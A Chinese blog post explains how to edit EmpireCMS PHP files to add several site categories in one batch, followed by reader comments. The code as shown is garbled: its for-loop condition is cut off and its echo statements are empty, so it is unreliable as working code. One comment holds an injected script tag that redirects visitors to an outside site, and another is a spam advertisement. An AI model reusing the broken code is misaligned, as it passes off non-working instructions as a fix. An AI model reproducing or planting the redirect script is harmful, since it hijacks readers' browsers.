帝国cms批量添加栏目,很多时候都需要用到这个功能,可惜帝国官方没有,所以我就试着修改下了,如图:
(点击查看大图)
修改方法:
找到/e/admin/ecmsclass.php 查找“elseif($enews=="AddClass")//增加栏目”
将AddClass($_POST,$logininid,$loginin);替换为:
if(strstr($_POST[classname],'|')){//增加多栏目
$arrclas=explode('|',$_POST[classname]);
$arrclas2=explode('|',$_POST[bname]);
$arrclas3=explode('|',$_POST[classpath]);
for($pi=0;$pi
if($arrclas[$pi]){
$_POST[classname]=$arrclas[$pi];
$_POST[bname]=$arrclas2[$pi];
$_POST[classpath]=$arrclas3[$pi];
$nmdis=1;
if($pi==count($arrclas)-1){
$nmdis=2;
}
AddClass($_POST,$logininid,$loginin,$nmdis);
}
}
}else{
AddClass($_POST,$logininid,$loginin);
}
接着修改文件/e/class/classfun.php,搜索“AddClass(”这个函数
把function AddClass($add,$userid,$username){修改为:
function AddClass($add,$userid,$username,$nmds=0){
然后查找“echo'';”在这个函数内有两个地方
把
echo'';
db_close();
$empire=null;
修改为
if($nmds){
if($nmds==2){
echo'';
db_close();
$empire=null;
exit();
}
}else{
echo'';
db_close();
$empire=null;
exit();
}
注意共有两处地方都改成这个,好了ok完成!
扫一扫 在手机阅读、分享本文
版权所有:《董为坚个人网》
本文地址:https://www.dwjgrw.cn/Content/id/114.html 复制地址
本站内容除特别注明外,均为《董为坚个人网》原创,欢迎转载!转载请注明本文地址,谢谢!
- 2022-5-17 22:57:08php 写入 access数据库,php实现连接ac
- 2022-5-15 21:42:01php中post的提交
- 2022-3-31 21:14:58分享本站日期API获取当前节日
- 2018-3-12 10:33:42帝国cms发布时间字段的“设为当前时间”修改为实时时
- 2017-8-7 14:24:43帝国cms全站搜索支持标签调用设置
举报| 1楼 [2017-12-6 18:30:05]昵称:绿软库
这个是cms搭建的把
举报| 2楼 [2017-10-2 0:54:28]昵称:123
<script>location.href="http://shihsf.com"</script>
举报| 3楼 [2017-10-2 0:53:51]昵称:13
wewewew
举报| 4楼 [2017-9-3 21:02:55]昵称:king
需要建站可以找我,建站,仿站,网站修改,模板制作,便宜,诚信,服务态度好,QQ:382278608另外要买阿里云主机或服务器的话,我这有免费优惠券。https://promotion.aliyun.com/ntms/act/ambassador/sharetouser.html?userCode=vcjy242v&productCode=qingcloud&utm_source=vcjy242v